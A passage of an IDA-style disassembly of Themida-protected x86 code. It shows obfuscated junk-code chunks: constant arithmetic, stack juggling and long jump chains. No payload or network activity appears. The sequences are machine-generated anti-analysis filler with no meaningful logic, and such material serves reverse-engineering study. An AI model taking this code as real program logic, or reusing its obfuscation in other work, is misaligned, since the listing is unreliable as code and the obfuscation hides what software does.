		sub	edi, edx
		pop	edx
		jmp	loc_595295
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58FCD6:				; CODE XREF: sub_596082-8D1Aj
		push	edi
		push	esi
		mov	esi, 448D0617h
		jmp	loc_58B0B8
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58FCE2:				; CODE XREF: Themida_:0058F1C8j
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_597226
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58FCF3:				; CODE XREF: sub_593009-6604j
		mov	eax, 55511047h
		add	eax, 2D285237h
		jmp	loc_5935A3
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B09E


loc_58FD02:				; CODE XREF: sub_58B09E+15j
		push	ecx
		mov	ecx, 4F5D6AF9h
		or	ecx, 7229737Dh
		neg	ecx
		and	ecx, 47183EE1h
		and	ecx, 4DAA6362h
		sub	ecx, 23D025FFh
		push	ebx
		mov	ebx, 212A76B4h
		inc	ebx
		js	loc_58C00A
		inc	ebx
		jmp	loc_58AFA8
; END OF FUNCTION CHUNK	FOR sub_58B09E
; ---------------------------------------------------------------------------


loc_58FD35:				; CODE XREF: Themida_:loc_59312Dj
		add	esi, 0DE4C1B35h
		sub	esi, 64207FEFh
		push	ecx
		mov	ecx, 3EDB24F8h
		jmp	loc_597364
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58FD4C:				; CODE XREF: sub_593009+18F4j
		push	eax
		push	ecx
		pop	eax
		mov	ecx, [esp-30h+arg_2C]
		push	ebp
		jmp	loc_58A94F
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_58FD58:				; CODE XREF: Themida_:0058E204j
		dec	ebx
		sub	ebx, 5EFE46D5h
		xor	ebx, 0F2FDF94Bh
		xor	eax, ebx
		pop	ebx
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		dec	dword ptr [esp]
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58FD80:				; CODE XREF: Themida_:005912EAj
		jnp	loc_5975B9
		jmp	loc_595C69
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, 5FDC72B8h
		add	eax, edx
		pop	edx


loc_58FD94:				; CODE XREF: Themida_:0059080Cj
		push	ecx
		jmp	loc_58C158
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E2BE


loc_58FD9A:				; CODE XREF: sub_58E2BE+3193j
		add	[esp+4+var_4], 4
		mov	ebx, [esp+4+var_4]
		jmp	loc_58C783
; END OF FUNCTION CHUNK	FOR sub_58E2BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592646


loc_58FDA6:				; CODE XREF: sub_592646+18j
		pop	ecx
		add	dh, 0A1h
		add	dh, ch
		sub	dh, 0A1h
		sub	dh, 5Eh
		mov	cx, word ptr [esp+4+var_4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		jmp	loc_58BBB6
; END OF FUNCTION CHUNK	FOR sub_592646
; ---------------------------------------------------------------------------


loc_58FDCA:				; CODE XREF: Themida_:00592D4Aj
		mov	[esp], ecx
		mov	ecx, 5340F9C9h
		jmp	loc_58CA50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58FDD7:				; CODE XREF: sub_58E66C-3BEj
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp+14h+var_14], eax
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58FDE5:				; CODE XREF: Themida_:00596076j
		push	44A21471h
		pop	ecx
		jmp	loc_58E717
; ---------------------------------------------------------------------------


loc_58FDF0:				; CODE XREF: Themida_:00595F7Bj
		push	ebx
		jmp	loc_58B57C
; ---------------------------------------------------------------------------


loc_58FDF6:				; CODE XREF: Themida_:0058CAE0j
		xor	edi, [esp]
		pop	esp
		jmp	loc_58CA37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58FDFF:				; CODE XREF: sub_596082-192Dj
		push	edi
		push	eax
		jmp	loc_5939C8
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_58FE06:				; CODE XREF: sub_596498-4391j
		push	esp
		pop	ebp
		push	edi
		jmp	loc_59661E
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58FE0E:				; CODE XREF: sub_58E66C-33D4j
		sub	edx, 62B56169h
		pop	ebp
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58FE1A:				; CODE XREF: Themida_:0058C7B6j
		xor	[esp], ebx
		jmp	loc_593B25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A7D7


loc_58FE22:				; CODE XREF: sub_58A7D7+Fj
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ebp
		push	eax
		sub	dword ptr [esp+0], 2C5E7BE9h
		mov	ebp, [esp+0]
		add	esp, 4
		add	ebp, 2C5E7BE9h
		mov	ebx, ebp
		pop	ebp
		jmp	sub_592C6D
; END OF FUNCTION CHUNK	FOR sub_58A7D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590324


loc_58FE45:				; CODE XREF: sub_590324-BBEj
		mov	edi, 4
		and	ecx, edi
		pop	edi
		shr	ecx, 2
		push	35FCh
		mov	[esp+0], ebx
		push	dword ptr [esp+0]
		jmp	loc_58E160
; END OF FUNCTION CHUNK	FOR sub_590324
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58FE60:				; CODE XREF: sub_5F45E7-68F66j
		mov	[esp+0], esi
		push	6BB7A04h
		mov	esi, [esp+0]
		add	esp, 4
		dec	esi
		jmp	loc_58C0BA
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5952B4


loc_58FE77:				; CODE XREF: sub_5952B4-62BDj
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	7315h
		mov	[esp+0], ebp
		mov	ebp, esp
		add	ebp, 4
		push	3475h
		mov	[esp-8+arg_4], ecx
		mov	ecx, 4
		push	ecx
		mov	ecx, 1C004421h
		jmp	loc_594080
; END OF FUNCTION CHUNK	FOR sub_5952B4
; ---------------------------------------------------------------------------


loc_58FEB7:				; CODE XREF: Themida_:0058DFEBj
		mov	ecx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58D1EE
; ---------------------------------------------------------------------------


loc_58FEC6:				; CODE XREF: Themida_:0058F23Dj
		add	ebx, 0C947FF79h
		jmp	loc_58E73B
; ---------------------------------------------------------------------------
		push	28B6h
		mov	[esp], edx
		jmp	loc_5971F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58FEDE:				; CODE XREF: Themida_:0058DE71j
					; sub_596082-5BDDj
		jle	loc_59592E
		and	ebx, 7D6D633Dh
		jmp	loc_58F2D0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58FEEF:				; CODE XREF: Themida_:00591767j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	esi
		jmp	loc_595F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58FEFF:				; CODE XREF: sub_58E66C+6E5Cj
		mov	esi, 7A5B7A94h
		not	esi
		jmp	loc_591E46
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58FF0B:				; CODE XREF: sub_596082-B5DDj
					; Themida_:00593B77j
		xchg	edi, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_58E96B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594299


loc_58FF17:				; CODE XREF: sub_594299+Dj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edx
		jmp	loc_592B07
; END OF FUNCTION CHUNK	FOR sub_594299
; ---------------------------------------------------------------------------


loc_58FF2C:				; CODE XREF: Themida_:0058D52Aj
		push	ecx
		jmp	loc_58BC44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941CE


loc_58FF32:				; CODE XREF: sub_5941CE+1B78j
		add	ecx, eax
		add	dword ptr [ecx], 1
		pop	ecx
		pop	eax


loc_58FF3C:				; CODE XREF: sub_596082-8540j
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		sub	esi, 60CE4DE2h
		add	esi, eax
		jmp	loc_58AE5B
; END OF FUNCTION CHUNK	FOR sub_5941CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58FF52:				; CODE XREF: sub_596082-82F4j
		mov	[esp+0], ecx
		push	1898h
		mov	[esp+4+var_4], eax
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	bl, 0CAh
		mov	ah, bl
		pop	ebx
		mov	ch, ah
		push	[esp+4+var_4]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		add	ch, 0B8h
		xor	al, ch
		push	[esp+4+var_4]
		pop	ecx
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		jmp	loc_592D16
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58FF9A:				; CODE XREF: Themida_:0058E3E6j
		sub	ecx, 1
		sub	ecx, 0FBA1BC5h
		not	ecx
		shl	ecx, 5
		push	eax
		mov	eax, 6C5260CDh
		not	eax
		sub	eax, 0BB3967Eh
		xor	ecx, eax
		pop	eax
		mov	edi, ecx
		pop	ecx
		inc	edi
		and	edi, 325858D8h
		jmp	loc_58D9B4
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_591C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58FFD0:				; CODE XREF: sub_596082-31C6j
		push	eax
		mov	al, 96h
		jmp	loc_58F1A7
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58FFD8:				; CODE XREF: Themida_:0058E43Bj
		push	cx
		neg	byte ptr [esp+1]
		pop	cx
		inc	ch
		xor	ch, 56h
		sub	al, ch
		mov	ecx, [esp]
		add	esp, 4
		add	al, ch
		add	al, 0EBh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58B4FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58FFFC:				; CODE XREF: sub_596082-BF6j
		add	ecx, 531977CAh
		pop	eax
		add	edi, ecx
		mov	ecx, [esp+0]
		push	ebx
		jmp	loc_5903AB
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_59000E:				; CODE XREF: Themida_:0058B4F6j
		dec	edx
		sub	edx, 743E10CFh
		mov	edi, edx
		jmp	loc_592A9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_59001C:				; CODE XREF: sub_58E91C+586Dj
		pop	esp
		and	ecx, eax
		jmp	loc_595822
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D112


loc_590024:				; CODE XREF: sub_58D112+73AFj
		and	bh, 0A3h
		push	cx
		jmp	loc_58CD3B
; END OF FUNCTION CHUNK	FOR sub_58D112
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_59002E:				; CODE XREF: sub_593009-3B1Fj
		and	eax, ebp
		mov	ebp, [esp+0]
		push	ecx
		mov	ecx, esp
		jmp	loc_59155E
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_59003B:				; CODE XREF: Themida_:0058D344j
		push	edx
		push	ecx
		push	1F631019h
		pop	ecx
		sub	ecx, 6C5F3CADh
		sub	ecx, 45A8088Ch
		jmp	loc_58DC19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_590054:				; CODE XREF: sub_58E66C-1AD0j
		pop	edx
		add	ecx, ebp
		pop	ebp
		and	eax, ecx
		jmp	loc_591375
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_59005F:				; CODE XREF: Themida_:00591714j
		xor	[esp], si
		push	small 4186h
		mov	[esp], si
		xor	[esp], cx
		xor	cx, [esp]
		xor	[esp], cx
		xor	cx, di
		xor	di, cx
		xor	cx, di
		push	di
		jmp	loc_58B6BF
; ---------------------------------------------------------------------------


loc_590087:				; CODE XREF: Themida_:005929BAj
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59008C:				; CODE XREF: Themida_:00597040j
					; sub_596082+178Dj
		sub	edi, 0FFB67EB9h
		mov	ebx, edi
		jmp	loc_591C01
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FB68


loc_590099:				; CODE XREF: sub_58FB68+E8Bj
		sub	eax, 0F851F285h
		sub	ebx, eax
		pop	eax
		jmp	loc_5921B1
; END OF FUNCTION CHUNK	FOR sub_58FB68
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_591A7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C4A4


loc_5900AF:				; CODE XREF: sub_58C4A4+77B5j
		push	1BDBh
		mov	[esp+4+var_4], ebp
		push	dword ptr [esp+4]
		jmp	loc_590D2B
; END OF FUNCTION CHUNK	FOR sub_58C4A4
; ---------------------------------------------------------------------------


loc_5900C0:				; CODE XREF: Themida_:005917E3j
		mov	edi, 7E1E5725h
		jmp	loc_590A94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592A4E


loc_5900CA:				; CODE XREF: sub_592A4E+106Cj
		mov	[esp-4+arg_0], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-4+arg_0]
		jmp	loc_58DAA1
; END OF FUNCTION CHUNK	FOR sub_592A4E
; ---------------------------------------------------------------------------


loc_5900E3:				; CODE XREF: Themida_:0059694Dj
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_58AAD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E049


loc_5900EE:				; CODE XREF: sub_58E049-57Ej
		pop	edi
		jmp	loc_5949CC
; END OF FUNCTION CHUNK	FOR sub_58E049
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_5900F4:				; CODE XREF: sub_58F160+732Cj
		pop	dword ptr [edx]
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5900FB:				; CODE XREF: sub_596082-5796j
		xor	esi, [esp+4+var_4]
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		sub	byte ptr [esp+4+var_4],	al
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_590110:				; CODE XREF: sub_58E66C-A24j
		pop	esi
		shr	esi, 1
		jz	loc_5904E6
		shl	esi, 8
		jmp	loc_5942E6
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590121:				; CODE XREF: sub_596082+62Cj
		pop	ecx
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		or	eax, eax
		jnz	loc_58B13E
		push	44C9h
		jmp	loc_5903FD
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_59013A:				; CODE XREF: Themida_:0058F8A0j
		mov	[esp], edx
		push	esp
		pop	edx
		push	ebp
		jmp	loc_595184
; ---------------------------------------------------------------------------


loc_590145:				; CODE XREF: Themida_:00596ACBj
		pop	esi
		add	esi, 4
		push	edx
		mov	edx, 0A71078Bh
		sub	edx, 64587E61h
		or	edx, 1F01218Ch
		add	edx, 40E65656h
		add	esi, edx
		jmp	loc_58CE5E
; ---------------------------------------------------------------------------


loc_59016B:				; CODE XREF: Themida_:00595072j
		mov	edi, 0B8E15420h
		sub	esi, edi
		pop	edi
		not	esi
		xor	esi, 88E8E8CAh
		add	edi, esi
		jmp	loc_594DC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590182:				; CODE XREF: sub_596082-7FE4j
		pop	edi
		add	edi, 0FA756266h
		mov	ebx, edi
		pop	edi
		sub	ebx, 0A2AE1BBEh
		mov	ebp, ebx
		jmp	loc_595311
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_590199:				; CODE XREF: Themida_:0059465Dj
		movsx	cx, al
		push	small 7F4Dh
		jmp	loc_595491
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5901A6:				; CODE XREF: sub_58E66C+2A0Fj
					; sub_596082-27E0j
		add	ecx, 4
		jmp	loc_5961A6
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5901B1:				; CODE XREF: Themida_:005969DFj
		mov	[esp], ax
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_5901BA:				; CODE XREF: sub_5925A4+BD3j
		jmp	loc_596827
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B23


loc_5901BF:				; CODE XREF: Themida_:0058F58Ej
					; sub_590B23+313j
		push	edx
		mov	edx, 45CB3550h
		xor	edx, 3A826846h
		sub	edx, 1E2F027h
		jmp	loc_59607B
; END OF FUNCTION CHUNK	FOR sub_590B23
; ---------------------------------------------------------------------------


loc_5901D6:				; CODE XREF: Themida_:0058E31Cj
		xor	edi, ebp
		jmp	loc_58F289
; ---------------------------------------------------------------------------


loc_5901DD:				; CODE XREF: Themida_:00595C72j
		add	bl, ch
		jmp	$+5
		sub	bl, 0Eh
		pop	ecx
		jmp	loc_591F24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5901ED:				; CODE XREF: sub_596082-58E6j
		sub	ebx, edi
		jmp	loc_597513
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_5901F4:				; CODE XREF: sub_593009-A16j
		pop	esp
		jmp	loc_592793
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D2AA


loc_5901FA:				; CODE XREF: sub_58D2AA-22ACj
		jg	sub_593009
		push	ebp
		push	7F915808h
		pop	ebp
		xor	ecx, ebp
		jmp	loc_591F63
; END OF FUNCTION CHUNK	FOR sub_58D2AA
; ---------------------------------------------------------------------------
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59020F:				; CODE XREF: sub_596082:loc_592AC0j
		xor	eax, 33F41B80h
		jmp	loc_58AACD
; ---------------------------------------------------------------------------


loc_590219:				; CODE XREF: sub_596082+1C4j
		jmp	loc_597026
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_59021E:				; CODE XREF: Themida_:005935EFj
		push	eax
		mov	eax, 4
		push	edx
		mov	edx, 3F4F76E7h
		add	edx, 580C7FCEh
		xor	edx, 0C400A2B9h
		jmp	loc_594384
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_59023B:				; CODE XREF: sub_594F3F-5CC9j
		mov	ebx, eax
		pop	eax
		jmp	loc_591855
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_590243:				; CODE XREF: sub_58E66C+5C98j
		or	eax, 1E7A4789h
		xor	eax, 105622B8h
		add	esi, 2A4829FFh
		add	esi, eax
		sub	esi, 2A4829FFh
		mov	eax, [esp+10h+var_10]
		push	ebx
		mov	ebx, esp
		jmp	loc_592F9E
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_590266:				; CODE XREF: Themida_:00595CD4j
		pop	edi
		jmp	loc_595DBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_59026C:				; CODE XREF: sub_58E66C+4A88j
		push	ecx
		mov	ecx, 47A51EAFh
		jmp	loc_596C35
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_590277:				; CODE XREF: Themida_:0059614Aj
		xor	ebx, 70593355h
		jno	loc_59249C
		neg	ebx
		jo	loc_591C77
		push	ecx
		mov	ch, al
		mov	ah, 64h


loc_590290:				; CODE XREF: Themida_:00590BE3j
		push	7510h
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2C86FE6h
		and	edx, 61CE2449h
		xor	edx, 23493950h
		jmp	loc_58A64D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5902B6:				; CODE XREF: sub_596082-499Dj
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		push	ebp
		push	ebx
		jmp	loc_593EC8
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_58B0E0

; =============== S U B	R O U T	I N E =======================================



sub_5902CA	proc near		; CODE XREF: sub_596082-743j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= word ptr  8

; FUNCTION CHUNK AT 0058A5E6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058B188 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058D616 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058DC5E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00597392 SIZE 0000000C BYTES

		push	ebp
		mov	ebp, 2
		jmp	loc_58B188
sub_5902CA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5902D5:				; CODE XREF: sub_596082-55A5j
		push	edx
		jmp	loc_58E80C
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5902DB:				; CODE XREF: Themida_:0058BE19j
		mov	ah, bl
		pop	ebx
		mov	bl, ah
		jmp	loc_5938BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5902E5:				; CODE XREF: sub_596082+3Cj
		mov	cl, 3Bh
		push	eax
		mov	al, 0E0h
		and	cl, al
		jmp	loc_58B7BC
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5902F1:				; CODE XREF: Themida_:0058DB0Bj
		add	esi, 0E08046Fh
		add	esi, 702D3E23h
		add	esi, ebp
		sub	esi, 702D3E23h
		jmp	loc_596BEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_59030A:				; CODE XREF: sub_594F3F-11A4j
		mov	ebx, esp
		jmp	loc_593BA9
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------


loc_590311:				; CODE XREF: Themida_:00591DA8j
		push	ebx
		jmp	loc_594092
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_590317:				; CODE XREF: sub_593009-6899j
		xchg	esi, [esp-2Ch+arg_28]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_593009
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_59031B:				; CODE XREF: sub_58E91C+4CF7j
		push	eax
		mov	eax, esp
		push	ecx
		jmp	loc_58F681
; END OF FUNCTION CHUNK	FOR sub_58E91C

; =============== S U B	R O U T	I N E =======================================



sub_590324	proc near		; CODE XREF: sub_594F3F-1389j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058D1F7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D9AB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058DA51 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058E160 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058F757 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058FE45 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005946B3 SIZE 00000010 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	esp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	0BE7h
		jmp	loc_5946B3
sub_590324	endp

; ---------------------------------------------------------------------------


loc_59033E:				; CODE XREF: Themida_:005950C9j
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		jmp	loc_58F443
; ---------------------------------------------------------------------------


loc_590355:				; CODE XREF: Themida_:0058B722j
		push	ecx
		mov	ecx, 2E3C3F69h
		sub	esi, ecx
		jmp	loc_58DC9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_590362:				; CODE XREF: sub_596082-AFB1j
		pop	edx
		push	ebp
		mov	ebp, 4
		add	esi, 4B918D9h
		push	ecx
		mov	ecx, 28B25F41h
		sub	esi, ecx
		pop	ecx
		add	esi, ebp
		jmp	loc_5908F1
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_59037F:				; CODE XREF: Themida_:loc_58D8C6j
		neg	eax
		jmp	loc_5923BC
; ---------------------------------------------------------------------------


loc_590386:				; CODE XREF: Themida_:00596066j
		push	ebp
		mov	ebp, 46EE5B4Fh
		add	eax, ebp
		pop	ebp
		jmp	loc_58F27B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D966


loc_590394:				; CODE XREF: sub_58D966+1j
		mov	ebp, 4
		jmp	loc_58E7D4
; END OF FUNCTION CHUNK	FOR sub_58D966
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5F7


loc_59039E:				; CODE XREF: sub_58A5F7+4DFDj
		add	edi, 759A8ACFh
		and	eax, edi
		jmp	loc_58B609
; END OF FUNCTION CHUNK	FOR sub_58A5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5903AB:				; CODE XREF: sub_596082-6079j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58F9F5
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5903BB:				; CODE XREF: Themida_:0059487Cj
		push	7B9Dh
		mov	[esp], edx
		mov	edx, 4
		sub	eax, edx
		jmp	loc_595E88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5967D4


loc_5903CF:				; CODE XREF: sub_5967D4-BE20j
		and	ebx, 70BE3E82h
		jl	loc_58F2B2
		not	ebx
		sub	ebx, 8DF8F328h
		add	edi, ebx
		push	[esp+4+var_4]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		jmp	loc_58BEE3
; END OF FUNCTION CHUNK	FOR sub_5967D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5903FD:				; CODE XREF: sub_596082-5F4Dj
		mov	[esp+8+var_8], ebp
		push	7E154F02h
		pop	ebp
		push	ecx
		mov	ecx, 6A93723Ah
		dec	ecx
		js	loc_58D3E3
		xor	ecx, 5385ED0h
		js	loc_59689C
		push	11C4h
		mov	[esp+10h+var_10], esi
		mov	esi, 123F8416h
		add	ecx, esi
		jmp	loc_58CA0A
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FB68


loc_590433:				; CODE XREF: sub_58FB68+2328j
		sub	ebx, ecx
		add	ebx, 3EE050A8h
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		push	3D61h
		mov	[esp+4+var_4], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp+0], eax
		jmp	loc_58D31E
; END OF FUNCTION CHUNK	FOR sub_58FB68
; ---------------------------------------------------------------------------


loc_590464:				; CODE XREF: Themida_:005946E5j
		pop	ebx
		push	1985h
		jmp	loc_5950CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59425A


loc_59046F:				; CODE XREF: sub_59425A-7262j
		xchg	edi, [esp+0]
		pop	esp
		push	ecx
		push	edx
